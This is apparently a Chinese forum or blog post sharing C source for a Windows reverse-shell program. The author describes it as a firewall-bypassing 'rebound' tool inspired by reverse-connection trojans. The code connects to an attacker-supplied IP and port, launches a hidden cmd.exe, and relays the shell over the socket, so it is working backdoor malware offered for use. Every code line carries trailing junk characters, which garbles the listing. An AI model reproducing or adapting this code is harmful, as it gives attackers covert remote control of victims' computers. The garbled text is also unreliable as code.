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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KX,S  
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/* ============================== ,<(}|go   
Rebound port in Windows NT 4gI/!,J(b  
By wind,2006/7 <wN}X#M  
===============================*/ x kx^%3dV  
#include :~&~y-14  
#include h \fjBDU^  
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#pragma comment(lib,"wsock32.lib") +rd|A|hRq  
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void OutputShell(); 4Tb #fH%  
SOCKET sClient; lA| 5E?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Hq'`8f8N  
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void main(int argc,char **argv) o[Q MTP  
{ [M]  
WSADATA stWsaData; BTqS'NuT  
int nRet; }eCw6  
SOCKADDR_IN stSaiClient,stSaiServer; ;w{tv($$  
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if(argc != 3) dyz2.ZY~2  
{ b[r8 e  
printf("Useage:\n\rRebound DestIP DestPort\n"); kyR:[+je  
return; M'?,] an  
} @>r._ ~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); cM(:xv  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ? &o2st  
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stSaiClient.sin_family = AF_INET; cvn@/qBq*t  
stSaiClient.sin_port = htons(0); :KQ~Cb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <Th6r.#?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,?J!  
{ }^ApJS(FQ  
printf("Bind Socket Failed!\n"); 1!xQ=DU"  
return; C)um9}  
} b1(T4w6  
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stSaiServer.sin_family = AF_INET; @6Y?\Wx$w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wcrCEX=I>{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9P1OP Xv*p  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :(/~:^!  
{ Z)I+@2  
printf("Connect Error!"); FvaUsOy "  
return; t|w_i-&b,  
} S] }nm  
OutputShell(); +%+tr*04O  
} )X1{  
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void OutputShell() }zeO]"`  
{ ax"+0L {  
char szBuff[1024]; Y>dF5&(kb  
SECURITY_ATTRIBUTES stSecurityAttributes; H`*LBqDk  
OSVERSIONINFO stOsversionInfo; :tz#v`3o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Tr_w]'  
STARTUPINFO stStartupInfo; -WY<zJ  
char *szShell; |6.l7u ?d  
PROCESS_INFORMATION stProcessInformation; JB%',J  
unsigned long lBytesRead; vk}n,ecl  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |)IlMG  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ] ]u s %  
stSecurityAttributes.lpSecurityDescriptor = 0; !44/sr'  
stSecurityAttributes.bInheritHandle = TRUE; Cz9xZA{[M  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EuEZ D +  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'f#{{KA  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F|IAiE  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e6`Jbu+J<f  
stStartupInfo.wShowWindow = SW_HIDE; Lz |? ek7Q  
stStartupInfo.hStdInput = hReadPipe; q;B4WL}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R   
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GetVersionEx(&stOsversionInfo); iJ ($YvF4  
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switch(stOsversionInfo.dwPlatformId) eVEV}`X  
{ \S"isz  
case 1: {dhXIs  
szShell = "command.com"; Yz'K]M_Dq  
break; kI,yU}<Fq  
default: '3R`lv   
szShell = "cmd.exe"; 2Sle#nw3  
break; 1gE [v  
} .O DU  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g1;:KzVv  
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send(sClient,szMsg,77,0); ](Xb _xMf  
while(1) >,v`EIg  
{ pf]xqhL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 272q1~&  
if(lBytesRead) I )~GZ  
{ ,bZL C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t0( A4E  
send(sClient,szBuff,lBytesRead,0); /?wtF4  
} O n8v//=&  
else C0sX gM  
{ t^UxR@l<K|  
lBytesRead=recv(sClient,szBuff,1024,0); k 9_`(nx  
if(lBytesRead<=0) break; ^NLmgw Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Je';9(ZK  
} ,A9]CQ  
} pg6cF  
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return; 0$(WlP |  
}
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